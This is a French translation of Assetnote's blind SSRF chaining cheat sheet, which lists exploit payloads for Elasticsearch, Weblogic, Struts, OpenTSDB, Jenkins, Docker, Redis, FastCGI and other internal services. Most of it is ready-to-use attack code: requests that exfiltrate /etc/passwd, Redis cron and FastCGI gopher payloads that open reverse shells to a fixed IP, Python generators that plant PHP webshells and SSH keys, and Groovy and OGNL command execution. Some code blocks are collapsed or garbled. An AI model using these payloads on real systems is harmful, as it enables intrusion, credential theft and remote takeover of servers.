assetnote/blind-ssrf-chainsUne liste exhaustive de toutes les façons possibles d'enchaîner votre vulnérabilité SSRF aveugle
La Server Side Request Forgery se produit lorsque vous pouvez contraindre un serveur à effectuer des requêtes arbitraires en votre nom. Comme les requêtes sont effectuées par le serveur, il peut être possible d'accéder à des ressources internes en raison de la position du serveur dans le réseau. Dans les environnements cloud, la SSRF présente un risque plus important en raison de la présence de points de terminaison de métadonnées pouvant contenir des identifiants ou des secrets sensibles.
Lors de l'exploitation d'une server-side request forgery, nous pouvons souvent nous retrouver dans une situation où la réponse ne peut pas être lue. Dans l'industrie, ce comportement est souvent appelé « SSRF aveugle ». Dans de telles situations, comment prouver l'impact ? C'est une discussion intéressante qui a été lancée par Justin Gardner sur Twitter :
I've been finding a large amount of Blind SSRFs recently. What kind of one-shot RCE's have you guys used as pivots for these in the past? I've got access to some Kafka and a bunch of other things. @nnwakelam @thedawgyg
— Justin Gardner (@Rhynorater) January 13, 2021
Si vous pouvez atteindre des ressources internes, il existe un certain nombre de chaînes d'exploitation potentielles qui peuvent être exécutées pour prouver l'impact. Cet article de blog tente d'approfondir chaque chaîne d'exploitation connue lors de l'utilisation d'une SSRF aveugle, et sera mis à jour à mesure que de nouvelles techniques seront découvertes et partagées.
Si nous avons oublié des techniques, veuillez nous envoyer un tweet ou un DM : @assetnote et nous l'ajouterons à ce blog.
I tend to call them SSRF canaries, when chaining a blind SSRF to another SSRF internally which makes an additional call externally, or by an app-specific open redir or blind XXE. Confluence, Artifactory, Jenkins and JAMF have some that works well.
— Frans Rosén (@fransrosen) January 13, 2021
Afin de valider que vous pouvez interagir avec des services ou applications internes, vous pouvez utiliser des « canaris SSRF ».
Il s'agit de faire une requête vers une URL interne qui effectue une autre SSRF et appelle votre hôte canari. Si vous recevez une requête sur votre hôte canari, cela signifie que vous avez atteint avec succès un service interne capable également d'effectuer des requêtes sortantes.
C'est un moyen efficace de vérifier qu'une vulnérabilité SSRF a accès à des réseaux ou applications internes, et également de vérifier la présence de certains logiciels existant sur le réseau interne. Vous pouvez potentiellement également pivoter vers des parties plus sensibles d'un réseau interne à l'aide d'un canari SSRF, selon l'endroit où il se trouve.
Avec pour objectif de trouver autant d'hôtes internes que possible, les sources de données DNS peuvent être utilisées pour trouver tous les enregistrements pointant vers des hôtes internes.
Sur les environnements cloud, nous voyons souvent des ELB pointant vers des hôtes à l'intérieur d'un VPC interne. Selon le VPC dans lequel se trouve l'actif que vous ciblez, il peut être possible d'accéder à d'autres hôtes au sein du même VPC.
Par exemple, considérons l'hôte suivant qui a été découvert à partir de sources de données DNS :```bash livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82
Vous pouvez supposer que `es` fait référence à Elasticsearch, puis effectuer d'autres attaques sur cet hôte. Vous pouvez également diffuser toutes ces charges utiles SSRF aveugles sur tous les hôtes « internes » identifiés via cette méthode. Cela est souvent efficace.
Pour trouver plus d'hôtes internes, je recommande de prendre toutes vos données DNS et d'utiliser quelque chose comme [AltDNS](https://github.com/infosec-au/altdns) pour générer des permutations, puis de les résoudre avec un [bruteforceur DNS rapide](https://github.com/blechschmidt/massdns).
Une fois cela fait, identifiez tous les hôtes internes nouvellement découverts et utilisez-les dans votre chaîne SSRF aveugle.
## Fuites par canal auxiliaire
Lors de l'exploitation de vulnérabilités SSRF aveugles, vous pouvez peut-être divulguer certaines informations sur la réponse renvoyée. Par exemple, supposons que vous ayez un SSRF aveugle via une XXE, les messages d'erreur peuvent indiquer si :
- Une réponse a été renvoyée
`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`
contre
- L'hôte et le port sont inaccessibles
`Error parsing request: System.Net.WebException: Unable to connect to the remote server`
De même, en dehors des XXE, une application web peut également présenter une fuite par canal auxiliaire qui peut être déterminée en inspectant les différences dans les :
- **Code de statut de la réponse** :
Actif interne en ligne : port répond avec `200 OK` contre actif interne hors ligne : port `500 Internal Server Error`
- **Contenu de la réponse** :
La taille de la réponse en octets est plus petite ou plus grande selon que l'URL que vous essayez de demander est accessible ou non.
- **Temps de réponse** :
Les temps de réponse sont plus lents ou plus rapides selon que l'URL que vous essayez de demander est accessible ou non.
---------------
# Techniques
**Possibles via HTTP(s)**
- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [Other Atlassian Products](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix Dashboard](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)
**Possibles via Gopher**
- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)
**Outils**
- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)
----------------------------------
**Possibles via HTTP(s)**
<div id="elasticsearch"></div>
## Elasticsearch
**Port couramment utilisé : 9200**
Lorsque Elasticsearch est déployé en interne, il ne nécessite généralement pas d'authentification.
Si vous avez un SSRF partiellement aveugle où vous pouvez déterminer le code de statut, vérifiez si les points de terminaison suivants renvoient un 200 :```http
/_cluster/health
/_cat/indices
/_cat/health
Si vous avez une SSRF aveugle où vous pouvez envoyer des requêtes POST, vous pouvez arrêter l'instance Elasticsearch en envoyant une requête POST au chemin suivant :
Remarque : l'API _shutdown a été supprimée à partir de la version 2.x d'Elasticsearch. Cela ne fonctionne que dans Elasticsearch 1.6 et inférieur :```http
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
<div id="weblogic"></div>
## Weblogic
**Ports généralement liés : 80, 443 (SSL), 7001, 8888**
**SSRF Canary: UDDI Explorer (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Cela fonctionne également via GET:```bash http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Cet endpoint est également vulnérable à l'injection CRLF :```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
Entraînera la requête suivante :``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: Keep-Alive
sdf**SSRF Canary: CVE-2020-14883**
Extrait de [ici](https://forum.90sec.com/t/topic/1412).
Linux:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Windows:```http POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
<div id="consul"></div>
## Hashicorp Consul
**Ports généralement liés : 8500, 8501 (SSL)**
Un article se trouve [ici](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
<div id="shellshock"></div>
## Shellshock
**Ports généralement liés : 80, 443 (SSL), 8080**
Pour tester efficacement Shellshock, vous devrez peut-être ajouter un en-tête contenant la charge utile. Les chemins CGI suivants méritent d'être testés :
Liste courte des chemins CGI à tester :
[Gist contenant les chemins](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
**Canari SSRF : Shellshock via User-Agent**```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
Ports couramment utilisés : 80, 8080, 8888, 8082
Consultez la référence de l'API pour Apache Druid ici.
Si vous pouvez consulter le code de statut, vérifiez les chemins suivants pour voir s'ils renvoient un code de statut 200 :```bash /status/selfDiscovered/status /druid/coordinator/v1/leader /druid/coordinator/v1/metadata/datasources /druid/indexer/v1/taskStatus
Tâches d'arrêt, nécessite de deviner les IDs de tâches ou le nom de la source de données :```bash
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
Arrêt des superviseurs sur les Overlords Apache Druid :```bash /druid/indexer/v1/supervisor/terminateAll /druid/indexer/v1/supervisor/{supervisorId}/shutdown
<div id="solr"></div>
## Apache Solr
**Port habituellement lié : 8983**
**Canari SSRF : Paramètre Shards**
<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">Pour ajouter à ce que dit shubham - scanner pour solr est relativement facile. Il y a un paramètre shards= qui permet de faire rebondir SSRF sur SSRF pour vérifier que vous frappez aveuglément une instance solr.</p>— Хавиж Наффи 🥕 (@nnwakelam) <a href="https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw">13 janvier 2021</a></blockquote>
Tiré de [ici](https://github.com/veracode-research/solr-injection).```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
Canari SSRF : Solr XXE (2017)
Apache Solr 7.0.1 XXE (Packetstorm)```bash /solr/gettingstarted/select?q={!xmlparser v='' /xxx?q={!type=xmlparser v=""}
**RCE via dataImportHandler**
[Recherche sur RCE via dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
<div id="peoplesoft"></div>
## PeopleSoft
**Ports couramment utilisés : 80,443 (SSL)**
Extrait de cette recherche [ici](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
**Canari SSRF : XXE #1**```http
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
SSRF Canary: XXE #2```http POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml ...
<div id="struts"></div>
## Apache Struts
**Ports couramment liés : 80,443 (SSL),8080,8443 (SSL)**
Tiré de [ici](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
**Canari SSRF : Struts2-016** :
Ajoutez ceci à la fin de chaque point de terminaison interne/URL que vous connaissez :```http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
Ports couramment utilisés : 80,443 (SSL),8080,8443 (SSL)
Tiré de ici.
SSRF Canary: Déployer WAR depuis une URL```bash /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
<div id="confluence"></div>
## Confluence
**Ports couramment associés : 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary : Sharelinks (versions de Confluence publiées à partir de novembre 2016 et plus anciennes)**```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)
Ticket de sécurité Atlassian OAUTH-344```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
<div id="jira"></div>
## Jira
**Ports couramment liés : 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**
[Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)
Ticket de sécurité Atlassian JRASERVER-69793```bash /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:[email protected]
<div id="atlassian-products"></div>
## Autres produits Atlassian
**Ports couramment liés : 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: iconUriServlet (CVE-2017-9506)**:
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2
[Ticket de sécurité Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
Port habituellement lié: 4242
Exécution de code à distance OpenTSDB
SSRF Canary: curl via RCE```bash /q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
[Exécution de code à distance OpenTSDB 2.4.0](https://github.com/OpenTSDB/opentsdb/issues/2051)
**SSRF Canary: curl via RCE - CVE-2020-35476**```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
Ports couramment utilisés : 80,443 (SSL),8080,8888
Excellent article ici.
SSRF Canary: CVE-2018-1000600```bash /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
**RCE**
Suivez les instructions ici pour obtenir une RCE via GET : [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
RCE via Groovy``` cmd = 'curl burp_collab' pay = 'public class x {public x(){"%s".execute()}}' % cmd data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
<div id="hystrix"></div>
## Tableau de bord Hystrix
**Ports couramment liés : 80,443 (SSL),8080**
Spring Cloud Netflix, versions 2.2.x antérieures à 2.2.4, versions 2.1.x antérieures à 2.1.6.
**Canari SSRF : CVE-2020-5412**```bash
/proxy.stream?origin=http://SSRF_CANARY/
Ports couramment liés : 80,443 (SSL)
W3 Total Cache 0.9.2.6-0.9.3
SSRF Canary : CVE-2019-6715
Cela doit être une requête PUT :```bash PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1 Host: {{Hostname}} Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36 Content-Length: 124 Content-Type: application/x-www-form-urlencoded Connection: close
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
**SSRF Canary**
L'avis concernant cette vulnérabilité a été publié ici : [Vulnérabilité SSRF de W3 Total Cache](https://klikki.fi/adv/w3_total_cache.html)
Ce code PHP générera un payload pour votre hôte SSRF Canary (remplacez `url` par votre hôte canary) :```php
<?php
$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);
?>
Ports couramment liés : 2375, 2376 (SSL)
Si vous avez une SSRF partiellement aveugle, vous pouvez utiliser les chemins suivants pour vérifier la présence de l'API Docker :```bash /containers/json /secrets /services
**RCE via l'exécution d'une image Docker arbitraire**```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
Remplacez alpine par une image arbitraire dans laquelle vous souhaitez exécuter le conteneur Docker.
Commonly bound ports: 9121
Cette vulnérabilité affecte les instances Gitlab antérieures à la version 13.1.1. Selon la documentation Gitlab Prometheus and its exporters are on by default, starting with GitLab 9.0.
Ces exportateurs offrent une excellente méthode pour qu'un attaquant pivote et attaque d'autres services en utilisant CVE-2020-13379. L'un des exportateurs facilement exploitables est le Redis Exporter.
Le point d'accès suivant permettra à un attaquant de vider toutes les clés dans le serveur redis fourni via le paramètre target :```bash http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
**Possible via Gopher**
<div id="redis"></div>
## Redis
**Port couramment lié : 6379**
Lectures recommandées :
- [Trying to hack Redis via HTTP requests](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
- [SSRF Exploits against Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
**RCE via Cron** - [Surfaces d'attaque via Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
Gopher:```bash gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
**RCE via Shell Upload (PHP)** - [Résumé de Redis Getshell](https://www.mdeditor.tw/pl/pBy0)```python
#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
RCE via authorized_keys - Redis Getshell Summary```python import urllib protocol="gopher://" ip="192.168.189.208" port="6379"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n" filename="authorized_keys" path="/root/.ssh/" passwd="" cmd=["flushall", "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd
if name=="main": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
**RCE sur GitLab via le protocole Git**
Excellent article de Liveoverflow [ici](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).
Bien que cela nécessite un accès authentifié à GitLab pour être exploité, j'inclus ici le payload car le protocole `git` pourrait fonctionner sur la cible que vous piratez. Ce payload est donné à titre de référence.```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Port communément attaché : 11211
<div id="tomcat"></div>
## Apache Tomcat
**Ports couramment liés : 80,443 (SSL),8080,8443 (SSL)**
Efficace uniquement contre Tomcat 6 :
[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)
Compte-rendu CTF utilisant cette technique :
[From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
<div id="fastcgi"></div>
## FastCGI
**Ports couramment liés : 80,443 (SSL)**
Ceci a été repris de [ici](https://blog.chaitin.cn/gopher-attack-surfaces/).```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
Ports couramment liés : 1090,1098,1099,1199,4443-4446,8999-9010,9999
Les vulnérabilités aveugles SSRF qui permettent des octets arbitraires (basés sur gopher) peuvent être utilisées pour effectuer des attaques de désérialisation ou de codebase sur les composants par défaut de Java RMI (RMI Registry, Distributed Garbage Collector, Activation System). Un article détaillé se trouve ici. Le listing suivant montre un exemple de génération de payload :```console $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
**Outils**
<div id="gopherus"></div>
## Gopherus
- [Gopherus - Github](https://github.com/tarunkant/Gopherus)
- [Article de blog sur Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
Cet outil génère des charges utiles Gopher pour :
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
<div id="remote-method-guesser"></div>
## remote-method-guesser
- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
- [Article de blog sur l'utilisation de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
*remote-method-guesser* est un scanner de vulnérabilités *Java RMI* qui prend en charge les opérations d'attaque pour la plupart des vulnérabilités *Java RMI* courantes. La plupart des opérations disponibles prennent en charge l'option ``--ssrf``, pour générer une charge utile *SSRF* pour l'opération demandée. Avec l'option ``--gopher``, des charges utiles *gopher* prêtes à l'emploi peuvent être générées directement.
<div id="ssrfproxy"></div>
## SSRF Proxy
- [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
SSRF Proxy est un serveur proxy HTTP multi-threadé conçu pour tunnelliser le trafic HTTP client à travers des serveurs HTTP vulnérables à la falsification de requête côté serveur (SSRF).
---
Crédits :
Merci aux personnes suivantes qui ont contribué à cet article :
- [@Rhynorater - Nombreuses contributions à cet article de blog](https://twitter.com/Rhynorater)
- [@nnwakelam - SSRF via fragments Solr](https://twitter.com/nnwakelam)
- [@marcioalm - RCE Gopher Tomcat 6](https://twitter.com/marcioalm)
- [@vtnahira - RCE OpenTSDB](https://twitter.com/vtnahira)
- [@fransrosen - Concept de canaris SSRF](https://twitter.com/fransrosen)
- [@theabrahack - RCE via Jenkins Groovy](https://twitter.com/@theabrahack)
- [@qtc_de - RCE via Java RMI](https://twitter.com/qtc_de)